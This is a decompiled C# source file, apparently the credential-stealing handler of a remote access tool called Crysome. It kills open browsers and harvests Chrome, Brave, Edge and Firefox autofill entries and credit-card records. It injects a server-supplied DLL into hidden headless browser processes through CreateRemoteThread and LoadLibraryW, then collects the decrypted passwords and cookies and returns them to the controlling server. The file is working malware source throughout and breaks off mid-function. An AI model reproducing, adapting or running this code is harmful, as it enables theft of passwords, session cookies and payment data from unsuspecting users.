877 lines
26 KiB
C#
877 lines
26 KiB
C#
using System;
|
|
using System.Collections.Generic;
|
|
using System.Data.Common;
|
|
using System.Data.SQLite;
|
|
using System.Diagnostics;
|
|
using System.IO;
|
|
using System.Linq;
|
|
using System.Runtime.InteropServices;
|
|
using System.Text;
|
|
using System.Threading;
|
|
using System.Threading.Tasks;
|
|
using Crysome.Common.Network;
|
|
using Crysome.Common.Network.Packets;
|
|
using Crysome.Common.Network.Packets.Client;
|
|
using Crysome.Common.Network.Packets.Server;
|
|
using Microsoft.Win32;
|
|
|
|
namespace Crysome.Client.Handlers;
|
|
|
|
public static class CredentialsHandlers
|
|
{
|
|
private struct STARTUPINFOW
|
|
{
|
|
public int cb;
|
|
|
|
public IntPtr lpReserved;
|
|
|
|
public IntPtr lpDesktop;
|
|
|
|
public IntPtr lpTitle;
|
|
|
|
public uint dwX;
|
|
|
|
public uint dwY;
|
|
|
|
public uint dwXSize;
|
|
|
|
public uint dwYSize;
|
|
|
|
public uint dwXCountChars;
|
|
|
|
public uint dwYCountChars;
|
|
|
|
public uint dwFillAttribute;
|
|
|
|
public uint dwFlags;
|
|
|
|
public short wShowWindow;
|
|
|
|
public short cbReserved2;
|
|
|
|
public IntPtr lpReserved2;
|
|
|
|
public IntPtr hStdInput;
|
|
|
|
public IntPtr hStdOutput;
|
|
|
|
public IntPtr hStdError;
|
|
}
|
|
|
|
private struct PROCESS_INFORMATION
|
|
{
|
|
public IntPtr hProcess;
|
|
|
|
public IntPtr hThread;
|
|
|
|
public uint dwProcessId;
|
|
|
|
public uint dwThreadId;
|
|
}
|
|
|
|
private const uint CREATE_SUSPENDED = 4u;
|
|
|
|
private const uint CREATE_NO_WINDOW = 134217728u;
|
|
|
|
private const uint DETACHED_PROCESS = 8u;
|
|
|
|
private const uint STARTF_USESHOWWINDOW = 1u;
|
|
|
|
private const uint STARTF_USESTDHANDLES = 256u;
|
|
|
|
private const int MEM_COMMIT = 4096;
|
|
|
|
private const int MEM_RESERVE = 8192;
|
|
|
|
private const int PAGE_READWRITE = 4;
|
|
|
|
private const int MEM_RELEASE = 32768;
|
|
|
|
private const uint WAIT_TIMEOUT = 258u;
|
|
|
|
private static readonly string[] BrowserNames = new string[3] { "Chrome", "Brave", "Edge" };
|
|
|
|
private static readonly string[] BrowserExes = new string[3] { "chrome.exe", "brave.exe", "msedge.exe" };
|
|
|
|
private static readonly string[] ChromeRegPaths = new string[2] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\chrome.exe", "SOFTWARE\\Google\\Chrome\\BLBeacon" };
|
|
|
|
private static readonly string[] BraveRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\brave.exe" };
|
|
|
|
private static readonly string[] EdgeRegPaths = new string[1] { "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\msedge.exe" };
|
|
|
|
private static readonly string[] ChromeFallbackPaths = new string[3] { "%ProgramFiles%\\Google\\Chrome\\Application\\chrome.exe", "%ProgramFiles(x86)%\\Google\\Chrome\\Application\\chrome.exe", "%LocalAppData%\\Google\\Chrome\\Application\\chrome.exe" };
|
|
|
|
private static readonly string[] BraveFallbackPaths = new string[2] { "%ProgramFiles%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe", "%LocalAppData%\\BraveSoftware\\Brave-Browser\\Application\\brave.exe" };
|
|
|
|
private static readonly string[] EdgeFallbackPaths = new string[2] { "%ProgramFiles(x86)%\\Microsoft\\Edge\\Application\\msedge.exe", "%ProgramFiles%\\Microsoft\\Edge\\Application\\msedge.exe" };
|
|
|
|
private static readonly string[][] BrowserRegPaths = new string[3][] { ChromeRegPaths, BraveRegPaths, EdgeRegPaths };
|
|
|
|
private static readonly string[][] BrowserFallbacks = new string[3][] { ChromeFallbackPaths, BraveFallbackPaths, EdgeFallbackPaths };
|
|
|
|
private static string LocalAppData => Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData);
|
|
|
|
private static string RoamingAppData => Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode, SetLastError = true)]
|
|
private static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFOW lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint flAllocationType, uint flProtect);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UIntPtr nSize, out UIntPtr lpNumberOfBytesWritten);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool VirtualFreeEx(IntPtr hProcess, IntPtr lpAddress, UIntPtr dwSize, uint dwFreeType);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Unicode)]
|
|
private static extern IntPtr GetModuleHandle(string lpModuleName);
|
|
|
|
[DllImport("kernel32.dll", CharSet = CharSet.Ansi)]
|
|
private static extern IntPtr GetProcAddress(IntPtr hModule, string lpProcName);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, UIntPtr dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool CloseHandle(IntPtr hObject);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool GetExitCodeThread(IntPtr hThread, out uint lpExitCode);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern uint ResumeThread(IntPtr hThread);
|
|
|
|
[DllImport("kernel32.dll", SetLastError = true)]
|
|
private static extern bool TerminateProcess(IntPtr hProcess, uint uExitCode);
|
|
|
|
private static void KillBrowsers()
|
|
{
|
|
string[] array = new string[6] { "chrome", "brave", "msedge", "firefox", "opera", "operagx" };
|
|
foreach (string processName in array)
|
|
{
|
|
try
|
|
{
|
|
Process[] processesByName = Process.GetProcessesByName(processName);
|
|
foreach (Process process in processesByName)
|
|
{
|
|
try
|
|
{
|
|
process.Kill();
|
|
process.WaitForExit(1000);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
process.Dispose();
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
Thread.Sleep(500);
|
|
}
|
|
|
|
private static List<(string Browser, string Name, string Value)> ReadChromiumAutofill(string webDataPath)
|
|
{
|
|
//IL_0054: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_005a: Expected O, but got Unknown
|
|
//IL_0066: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_006d: Expected O, but got Unknown
|
|
//IL_0100: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0107: Expected O, but got Unknown
|
|
List<(string, string, string)> list = new List<(string, string, string)>();
|
|
if (!File.Exists(webDataPath))
|
|
{
|
|
return list;
|
|
}
|
|
string text = Path.Combine(Path.GetTempPath(), "wd_" + Guid.NewGuid().ToString("N") + ".db");
|
|
try
|
|
{
|
|
File.Copy(webDataPath, text, overwrite: true);
|
|
SQLiteConnection val = new SQLiteConnection("Data Source=" + text + ";Version=3;ReadOnly=True;");
|
|
try
|
|
{
|
|
((DbConnection)(object)val).Open();
|
|
SQLiteCommand val2 = new SQLiteCommand("SELECT name, value FROM autofill LIMIT 5000", val);
|
|
try
|
|
{
|
|
SQLiteDataReader val3 = val2.ExecuteReader();
|
|
try
|
|
{
|
|
while (((DbDataReader)(object)val3).Read())
|
|
{
|
|
string text2 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
|
|
string text3 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
|
|
if (!string.IsNullOrWhiteSpace(text2) || !string.IsNullOrWhiteSpace(text3))
|
|
{
|
|
list.Add((text2, text3, ""));
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val3)?.Dispose();
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val2)?.Dispose();
|
|
}
|
|
try
|
|
{
|
|
SQLiteCommand val4 = new SQLiteCommand("SELECT name_on_card, card_number_encrypted, expiration_month, expiration_year FROM credit_cards LIMIT 100", val);
|
|
try
|
|
{
|
|
SQLiteDataReader val5 = val4.ExecuteReader();
|
|
try
|
|
{
|
|
while (((DbDataReader)(object)val5).Read())
|
|
{
|
|
string text4 = (((DbDataReader)(object)val5).IsDBNull(0) ? "" : ((DbDataReader)(object)val5).GetString(0));
|
|
string text5 = (((DbDataReader)(object)val5).IsDBNull(1) ? "" : "[encrypted]");
|
|
string text6 = (((DbDataReader)(object)val5).IsDBNull(2) ? "" : ((DbDataReader)(object)val5).GetString(2)) + "/" + (((DbDataReader)(object)val5).IsDBNull(3) ? "" : ((DbDataReader)(object)val5).GetString(3));
|
|
if (!string.IsNullOrWhiteSpace(text4))
|
|
{
|
|
list.Add(("CreditCard: " + text4, "Number: " + text5, "Exp: " + text6));
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val5)?.Dispose();
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val4)?.Dispose();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val)?.Dispose();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
File.Delete(text);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return list;
|
|
}
|
|
|
|
private static List<(string Browser, string Name, string Value)> ReadFirefoxAutofill(string profileDir)
|
|
{
|
|
//IL_006a: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0071: Expected O, but got Unknown
|
|
//IL_007f: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0086: Expected O, but got Unknown
|
|
List<(string, string, string)> list = new List<(string, string, string)>();
|
|
if (!Directory.Exists(profileDir))
|
|
{
|
|
return list;
|
|
}
|
|
string text = Path.Combine(profileDir, "formhistory.sqlite");
|
|
if (!File.Exists(text))
|
|
{
|
|
return list;
|
|
}
|
|
string text2 = Path.Combine(Path.GetTempPath(), "ffh_" + Guid.NewGuid().ToString("N") + ".db");
|
|
try
|
|
{
|
|
File.Copy(text, text2, overwrite: true);
|
|
SQLiteConnection val = new SQLiteConnection("Data Source=" + text2 + ";Version=3;ReadOnly=True;");
|
|
try
|
|
{
|
|
((DbConnection)(object)val).Open();
|
|
SQLiteCommand val2 = new SQLiteCommand("SELECT fieldname, value FROM moz_formhistory LIMIT 2000", val);
|
|
try
|
|
{
|
|
SQLiteDataReader val3 = val2.ExecuteReader();
|
|
try
|
|
{
|
|
while (((DbDataReader)(object)val3).Read())
|
|
{
|
|
string text3 = (((DbDataReader)(object)val3).IsDBNull(0) ? "" : ((DbDataReader)(object)val3).GetString(0));
|
|
string text4 = (((DbDataReader)(object)val3).IsDBNull(1) ? "" : ((DbDataReader)(object)val3).GetString(1));
|
|
if (!string.IsNullOrWhiteSpace(text3) || !string.IsNullOrWhiteSpace(text4))
|
|
{
|
|
list.Add((text3, text4, ""));
|
|
}
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val3)?.Dispose();
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val2)?.Dispose();
|
|
}
|
|
}
|
|
finally
|
|
{
|
|
((IDisposable)val)?.Dispose();
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
finally
|
|
{
|
|
try
|
|
{
|
|
File.Delete(text2);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return list;
|
|
}
|
|
|
|
private static List<(string Browser, string Name, string Value, string Value2)> GetAllAutofills()
|
|
{
|
|
List<(string, string, string, string)> list = new List<(string, string, string, string)>();
|
|
string text = Path.Combine(LocalAppData, "Google\\Chrome\\User Data\\Default\\Web Data");
|
|
if (File.Exists(text))
|
|
{
|
|
foreach (var (item, item2, item3) in ReadChromiumAutofill(text))
|
|
{
|
|
list.Add(("Chrome", item, item2, item3));
|
|
}
|
|
}
|
|
string text2 = Path.Combine(LocalAppData, "BraveSoftware\\Brave-Browser\\User Data\\Default\\Web Data");
|
|
if (File.Exists(text2))
|
|
{
|
|
foreach (var (item4, item5, item6) in ReadChromiumAutofill(text2))
|
|
{
|
|
list.Add(("Brave", item4, item5, item6));
|
|
}
|
|
}
|
|
string text3 = Path.Combine(LocalAppData, "Microsoft\\Edge\\User Data\\Default\\Web Data");
|
|
if (File.Exists(text3))
|
|
{
|
|
foreach (var (item7, item8, item9) in ReadChromiumAutofill(text3))
|
|
{
|
|
list.Add(("Edge", item7, item8, item9));
|
|
}
|
|
}
|
|
string text4 = FirefoxProfileDir();
|
|
if (text4 != null)
|
|
{
|
|
foreach (var (item10, item11, item12) in ReadFirefoxAutofill(text4))
|
|
{
|
|
list.Add(("Firefox", item10, item11, item12));
|
|
}
|
|
}
|
|
return list;
|
|
}
|
|
|
|
private static string FirefoxProfileDir()
|
|
{
|
|
try
|
|
{
|
|
string path = Path.Combine(RoamingAppData, "Mozilla\\Firefox\\Profiles");
|
|
if (!Directory.Exists(path))
|
|
{
|
|
return null;
|
|
}
|
|
string[] directories = Directory.GetDirectories(path);
|
|
foreach (string text in directories)
|
|
{
|
|
if (File.Exists(Path.Combine(text, "formhistory.sqlite")))
|
|
{
|
|
return text;
|
|
}
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private static string EscapeJsonString(string s)
|
|
{
|
|
if (s == null)
|
|
{
|
|
return "";
|
|
}
|
|
return s.Replace("\\", "\\\\").Replace("\"", "\\\"").Replace("\n", "\\n")
|
|
.Replace("\r", "\\r")
|
|
.Replace("\t", "\\t");
|
|
}
|
|
|
|
private static string BuildAutofillJson(List<(string Browser, string Name, string Value, string Value2)> entries)
|
|
{
|
|
if (entries == null || entries.Count == 0)
|
|
{
|
|
return "[]";
|
|
}
|
|
StringBuilder stringBuilder = new StringBuilder("[");
|
|
for (int i = 0; i < entries.Count; i++)
|
|
{
|
|
if (i > 0)
|
|
{
|
|
stringBuilder.Append(",");
|
|
}
|
|
stringBuilder.Append("{\"browser\":\"" + EscapeJsonString(entries[i].Browser) + "\",\"name\":\"" + EscapeJsonString(entries[i].Name) + "\",\"value\":\"" + EscapeJsonString(entries[i].Value + " " + entries[i].Value2).Trim() + "\"}");
|
|
}
|
|
stringBuilder.Append("]");
|
|
return stringBuilder.ToString();
|
|
}
|
|
|
|
public static void HandleRequestCredentials(CrysomeClient client, IPacket packet)
|
|
{
|
|
Task.Run(delegate
|
|
{
|
|
DoHandleRequestCredentials(client, packet);
|
|
});
|
|
}
|
|
|
|
private static void DoHandleRequestCredentials(CrysomeClient client, IPacket packet)
|
|
{
|
|
//IL_0001: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0007: Expected O, but got Unknown
|
|
RequestCredentialsPacket val = (RequestCredentialsPacket)packet;
|
|
string text = null;
|
|
string text2 = "";
|
|
string text3 = "";
|
|
string text4 = "";
|
|
StringBuilder stringBuilder = new StringBuilder();
|
|
bool flag = val.RequestType == 0 || val.RequestType == 2 || val.RequestType == 4;
|
|
bool flag2 = val.RequestType == 1 || val.RequestType == 2 || val.RequestType == 4;
|
|
bool flag3 = val.RequestType == 3 || val.RequestType == 4;
|
|
stringBuilder.AppendLine("Type=" + val.RequestType + " DLL=" + ((val.DllBytes == null) ? "null" : (val.DllBytes.Length + "B")) + " wantPW=" + flag + " wantCK=" + flag2 + " wantAF=" + flag3);
|
|
try
|
|
{
|
|
KillBrowsers();
|
|
if (flag3)
|
|
{
|
|
try
|
|
{
|
|
List<(string, string, string, string)> allAutofills = GetAllAutofills();
|
|
text4 = BuildAutofillJson(allAutofills);
|
|
stringBuilder.AppendLine("Autofills: " + allAutofills.Count + " entries");
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
stringBuilder.AppendLine("Autofill error: " + ex.Message);
|
|
}
|
|
}
|
|
if (flag || flag2)
|
|
{
|
|
string text5 = Path.Combine(Path.GetTempPath(), "abe_decrypt_" + Guid.NewGuid().ToString("N") + ".dll");
|
|
if (val.DllBytes != null && val.DllBytes.Length != 0)
|
|
{
|
|
try
|
|
{
|
|
File.WriteAllBytes(text5, val.DllBytes);
|
|
}
|
|
catch (Exception ex2)
|
|
{
|
|
SendResponse(client, "Failed to write DLL: " + ex2.Message, null, null, text4);
|
|
return;
|
|
}
|
|
}
|
|
else
|
|
{
|
|
string lastDllPath = FileTransferHandlers.LastDllPath;
|
|
if (string.IsNullOrEmpty(lastDllPath) || !File.Exists(lastDllPath))
|
|
{
|
|
SendResponse(client, "DLL not provided.", null, null, text4);
|
|
return;
|
|
}
|
|
text5 = lastDllPath;
|
|
}
|
|
List<string> list = new List<string>();
|
|
List<string> list2 = new List<string>();
|
|
for (int i = 0; i < BrowserExes.Length; i++)
|
|
{
|
|
string browserPath = GetBrowserPath(i);
|
|
stringBuilder.AppendLine("Browser[" + BrowserExes[i] + "]: " + (browserPath ?? "NOT FOUND"));
|
|
if (string.IsNullOrEmpty(browserPath))
|
|
{
|
|
continue;
|
|
}
|
|
bool flag4 = BrowserExes[i].Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
|
|
IntPtr hProcessOut = IntPtr.Zero;
|
|
bool flag5 = InjectAndRun(text5, browserPath, BrowserExes[i], out hProcessOut);
|
|
stringBuilder.AppendLine(" inject=" + flag5);
|
|
if (!flag5)
|
|
{
|
|
continue;
|
|
}
|
|
int maxWaitMs = (flag4 ? 30000 : 15000);
|
|
string text6 = WaitForOutput(BrowserNames[i], maxWaitMs, stringBuilder);
|
|
if (!string.IsNullOrEmpty(text6))
|
|
{
|
|
foreach (string item in EnumerateProfileDirs(text6))
|
|
{
|
|
if (flag)
|
|
{
|
|
string path = Path.Combine(item, "passwords.json");
|
|
if (File.Exists(path))
|
|
{
|
|
try
|
|
{
|
|
list.Add(File.ReadAllText(path));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
if (!flag2)
|
|
{
|
|
continue;
|
|
}
|
|
string path2 = Path.Combine(item, "cookies.json");
|
|
if (File.Exists(path2))
|
|
{
|
|
try
|
|
{
|
|
list2.Add(File.ReadAllText(path2));
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if (hProcessOut != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
TerminateProcess(hProcessOut, 0u);
|
|
WaitForSingleObject(hProcessOut, 2000u);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
try
|
|
{
|
|
CloseHandle(hProcessOut);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
KillBrowsers();
|
|
}
|
|
text2 = (flag ? string.Join("\n", list.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
|
|
text3 = (flag2 ? string.Join("\n", list2.Where((string s) => !string.IsNullOrWhiteSpace(s))) : "");
|
|
try
|
|
{
|
|
string text7 = Path.Combine(Path.GetTempPath(), "csm_cred_debug");
|
|
Directory.CreateDirectory(text7);
|
|
File.WriteAllText(Path.Combine(text7, "passwords_raw.json"), text2);
|
|
File.WriteAllText(Path.Combine(text7, "cookies_raw.json"), text3);
|
|
File.WriteAllText(Path.Combine(text7, "autofills_raw.json"), text4);
|
|
File.WriteAllText(Path.Combine(text7, "diag.txt"), stringBuilder.ToString());
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
CleanupOutputDirectories();
|
|
}
|
|
}
|
|
catch (Exception ex3)
|
|
{
|
|
text = ex3.Message;
|
|
Program.Log("Credentials handler error: " + ex3.ToString());
|
|
stringBuilder.AppendLine("EXCEPTION: " + ex3.Message);
|
|
}
|
|
if (string.IsNullOrEmpty(text2) && string.IsNullOrEmpty(text3) && string.IsNullOrEmpty(text4) && string.IsNullOrEmpty(text))
|
|
{
|
|
text = stringBuilder.ToString().Trim();
|
|
}
|
|
SendResponse(client, text, text2, text3, text4);
|
|
}
|
|
|
|
private static string WaitForOutput(string browserName, int maxWaitMs, StringBuilder diag)
|
|
{
|
|
string text = Path.Combine(LocalAppData, "output", browserName);
|
|
string text2 = Path.Combine(Path.GetTempPath(), "output", browserName);
|
|
Stopwatch stopwatch = Stopwatch.StartNew();
|
|
while (stopwatch.ElapsedMilliseconds < maxWaitMs)
|
|
{
|
|
string[] array = new string[2] { text, text2 };
|
|
foreach (string text3 in array)
|
|
{
|
|
if (!Directory.Exists(text3))
|
|
{
|
|
Thread.Sleep(500);
|
|
continue;
|
|
}
|
|
string[] array2 = SafeGetDirectories(text3);
|
|
for (int j = 0; j < array2.Length; j++)
|
|
{
|
|
if (SafeGetFiles(array2[j]).Length != 0)
|
|
{
|
|
diag.AppendLine(" output found at: " + text3 + " (" + stopwatch.ElapsedMilliseconds + "ms)");
|
|
return text3;
|
|
}
|
|
}
|
|
}
|
|
Thread.Sleep(500);
|
|
}
|
|
diag.AppendLine(" output NOT found after " + maxWaitMs + "ms");
|
|
return null;
|
|
}
|
|
|
|
private static IEnumerable<string> EnumerateProfileDirs(string outputBase)
|
|
{
|
|
string[] array = SafeGetDirectories(outputBase);
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
yield return array[i];
|
|
}
|
|
}
|
|
|
|
private static string[] SafeGetDirectories(string path)
|
|
{
|
|
try
|
|
{
|
|
return Directory.Exists(path) ? Directory.GetDirectories(path) : Array.Empty<string>();
|
|
}
|
|
catch
|
|
{
|
|
return Array.Empty<string>();
|
|
}
|
|
}
|
|
|
|
private static string[] SafeGetFiles(string path)
|
|
{
|
|
try
|
|
{
|
|
return Directory.Exists(path) ? Directory.GetFiles(path) : Array.Empty<string>();
|
|
}
|
|
catch
|
|
{
|
|
return Array.Empty<string>();
|
|
}
|
|
}
|
|
|
|
private static string GetBrowserPath(int browserIndex)
|
|
{
|
|
string[] array = BrowserRegPaths[browserIndex];
|
|
foreach (string subKey in array)
|
|
{
|
|
string text = TryRegistryValue(Registry.LocalMachine, subKey, "");
|
|
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
|
{
|
|
return text;
|
|
}
|
|
text = TryRegistryValue(Registry.CurrentUser, subKey, "");
|
|
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
|
{
|
|
return text;
|
|
}
|
|
}
|
|
array = BrowserFallbacks[browserIndex];
|
|
for (int i = 0; i < array.Length; i++)
|
|
{
|
|
string text2 = Environment.ExpandEnvironmentVariables(array[i]);
|
|
if (File.Exists(text2))
|
|
{
|
|
return text2;
|
|
}
|
|
}
|
|
return null;
|
|
}
|
|
|
|
private static string TryRegistryValue(RegistryKey hive, string subKey, string valueName)
|
|
{
|
|
try
|
|
{
|
|
using RegistryKey registryKey = hive.OpenSubKey(subKey);
|
|
return registryKey?.GetValue(valueName) as string;
|
|
}
|
|
catch
|
|
{
|
|
return null;
|
|
}
|
|
}
|
|
|
|
private static bool InjectAndRun(string dllPath, string browserExePath, string exeName, out IntPtr hProcessOut)
|
|
{
|
|
hProcessOut = IntPtr.Zero;
|
|
IntPtr intPtr = IntPtr.Zero;
|
|
IntPtr intPtr2 = IntPtr.Zero;
|
|
IntPtr intPtr3 = IntPtr.Zero;
|
|
IntPtr intPtr4 = IntPtr.Zero;
|
|
bool flag = exeName.Equals("msedge.exe", StringComparison.OrdinalIgnoreCase);
|
|
try
|
|
{
|
|
string lpCommandLine = ((!flag) ? ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 about:blank") : ("\"" + browserExePath + "\" --headless=new --disable-gpu --no-sandbox --disable-extensions --disable-software-rasterizer --disable-dev-shm-usage --disable-logging --silent-launch --no-first-run --no-default-browser-check --disable-popup-blocking --disable-background-networking --disable-sync --disable-translate --metrics-recording-only --mute-audio --hide-scrollbars --window-position=-10000,-10000 --window-size=1,1 --disable-features=RendererCodeIntegrity about:blank"));
|
|
STARTUPINFOW lpStartupInfo = new STARTUPINFOW
|
|
{
|
|
cb = Marshal.SizeOf(typeof(STARTUPINFOW)),
|
|
dwFlags = 257u,
|
|
wShowWindow = 0,
|
|
hStdInput = IntPtr.Zero,
|
|
hStdOutput = IntPtr.Zero,
|
|
hStdError = IntPtr.Zero
|
|
};
|
|
uint dwCreationFlags = 134217740u;
|
|
if (!CreateProcess(null, lpCommandLine, IntPtr.Zero, IntPtr.Zero, bInheritHandles: false, dwCreationFlags, IntPtr.Zero, null, ref lpStartupInfo, out var lpProcessInformation))
|
|
{
|
|
Program.Log("InjectAndRun: CreateProcess failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
|
|
return false;
|
|
}
|
|
intPtr = lpProcessInformation.hProcess;
|
|
intPtr2 = lpProcessInformation.hThread;
|
|
byte[] bytes = Encoding.Unicode.GetBytes(dllPath + "\0");
|
|
UIntPtr uIntPtr = (UIntPtr)(ulong)bytes.Length;
|
|
intPtr3 = VirtualAllocEx(intPtr, IntPtr.Zero, uIntPtr, 12288u, 4u);
|
|
if (intPtr3 == IntPtr.Zero)
|
|
{
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
if (!WriteProcessMemory(intPtr, intPtr3, bytes, uIntPtr, out var lpNumberOfBytesWritten) || lpNumberOfBytesWritten != uIntPtr)
|
|
{
|
|
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
IntPtr moduleHandle = GetModuleHandle("kernel32.dll");
|
|
if (moduleHandle == IntPtr.Zero)
|
|
{
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
IntPtr procAddress = GetProcAddress(moduleHandle, "LoadLibraryW");
|
|
if (procAddress == IntPtr.Zero)
|
|
{
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
intPtr4 = CreateRemoteThread(intPtr, IntPtr.Zero, UIntPtr.Zero, procAddress, intPtr3, 0u, out var _);
|
|
if (intPtr4 == IntPtr.Zero)
|
|
{
|
|
Program.Log("InjectAndRun: CreateRemoteThread failed for " + exeName + " err=" + Marshal.GetLastWin32Error());
|
|
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
uint num = WaitForSingleObject(intPtr4, 8000u);
|
|
uint lpExitCode = 0u;
|
|
GetExitCodeThread(intPtr4, out lpExitCode);
|
|
CloseHandle(intPtr4);
|
|
intPtr4 = IntPtr.Zero;
|
|
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
|
intPtr3 = IntPtr.Zero;
|
|
if (lpExitCode == 0 || num == 258)
|
|
{
|
|
Program.Log("InjectAndRun: LoadLibrary returned 0 or timed out for " + exeName + " exitCode=" + lpExitCode + " waitResult=" + num);
|
|
TerminateProcess(intPtr, 0u);
|
|
return false;
|
|
}
|
|
ResumeThread(intPtr2);
|
|
hProcessOut = intPtr;
|
|
intPtr = IntPtr.Zero;
|
|
return true;
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("InjectAndRun: " + ex.Message);
|
|
if (intPtr != IntPtr.Zero)
|
|
{
|
|
try
|
|
{
|
|
TerminateProcess(intPtr, 0u);
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return false;
|
|
}
|
|
finally
|
|
{
|
|
if (intPtr4 != IntPtr.Zero)
|
|
{
|
|
CloseHandle(intPtr4);
|
|
}
|
|
if (intPtr3 != IntPtr.Zero && intPtr != IntPtr.Zero)
|
|
{
|
|
VirtualFreeEx(intPtr, intPtr3, UIntPtr.Zero, 32768u);
|
|
}
|
|
if (intPtr2 != IntPtr.Zero)
|
|
{
|
|
CloseHandle(intPtr2);
|
|
}
|
|
if (intPtr != IntPtr.Zero)
|
|
{
|
|
CloseHandle(intPtr);
|
|
}
|
|
}
|
|
}
|
|
|
|
private static void SendResponse(CrysomeClient client, string error, string pw, string ck, string af)
|
|
{
|
|
//IL_002a: Unknown result type (might be due to invalid IL or missing references)
|
|
//IL_0034: Expected O, but got Unknown
|
|
try
|
|
{
|
|
client.SendPacket((IPacket)new CredentialsResponsePacket(error ?? "", pw ?? "", ck ?? "", af ?? ""));
|
|
}
|
|
catch (Exception ex)
|
|
{
|
|
Program.Log("Credentials send error: " + ex.Message);
|
|
}
|
|
}
|
|
|
|
private static void CleanupOutputDirectories()
|
|
{
|
|
string[] array = new string[2]
|
|
{
|
|
Path.Combine(LocalAppData, "output"),
|
|
Path.Combine(Path.GetTempPath(), "output")
|
|
};
|
|
foreach (string path in array)
|
|
{
|
|
try
|
|
{
|
|
